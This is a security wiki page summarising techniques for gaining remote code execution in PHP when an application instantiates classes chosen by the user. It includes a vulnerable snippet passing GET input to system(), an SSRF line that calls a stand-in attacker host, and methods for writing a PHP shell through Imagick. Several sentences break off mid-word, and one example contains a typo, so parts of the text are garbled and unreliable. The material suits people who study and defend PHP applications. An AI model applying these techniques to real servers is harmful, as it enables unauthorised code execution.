PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introduction

The creation of new arbitrary objects, such as `new $_GET["a"]($_GET["a"])`, can lead to Remote Code Execution (RCE), as detailed in a **writeup**. This document highlights various strategies for achieving RCE.

RCE via Custom Classes or Autoloading

The syntax `new $a($b)` is used to instantiate an object where `$a` represents the class name and `$b` is the first argument passed to the constructor. These variables can be sourced from user inputs like GET/POST, where they may be strings or arrays, or from JSON, where they might present as other types.

Consider the code snippet b

```
class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);
```

In this instance, setting `$a` to `App` or `App2` and `$b` to a system command (e.g., `uname -a`) results in the execution of that command.

Autoloading functions can be exploited if no such classes are directly accessible. These functions automatically load classes from files when needed and are defined using `spl_autoload_register` or `__autoload`:

```
spl_autoload_register(function ($class_name) {
    include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
    include $class_name . '.php';
};

spl_autoload_register();
```

The behavior of autoloading varies with PHP versions, offering different RCE possibilities.

RCE via Built-In Classes

Lacking custom classes or a
The number of these classe
extensions. They can be list

Constructors of interest can be identified through the reflection API, as shown in the following example and the link https://3v4l.org/2JEGF.

RCE via specific methods includes:

SSRF + Phar Deserialization

The `SplFileObject` class enables SSRF through its constructor, allowing connections to any URL:

```
new SplFileObject('http://attacker.com/');
```

SSRF can lead to deserialization attacks in versions of PHP before 8.0 using the Phar protocol.

Exploiting PDOs

The PDO class constructor allows connections to databases via DSN strings, potentially enabling file creation or other interactions:

```
new PDO("sqlite:/tmp/test.txt")
```

SoapClient/SimpleXMLElement XXE

Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.

RCE via Imagick Extension

In the analysis of a **project's dependencies**, it was discovered that **Imagick** could be leveraged for **command exe**
opportunity for exploiting vu

VID parser

The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).

VID Parser + File Upload

It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The VID parser in Imagick, utilizing the **msl** protocol, can handle wildcards in file paths, facilitating the transfer of the temporary file to a chosen location. This method offers an additional approach to achieve arbitrary file writing within the filesystem.

PHP Crash + Brute Force

A method described in the **original writeup** involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.

References

- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Last updated 4 months ago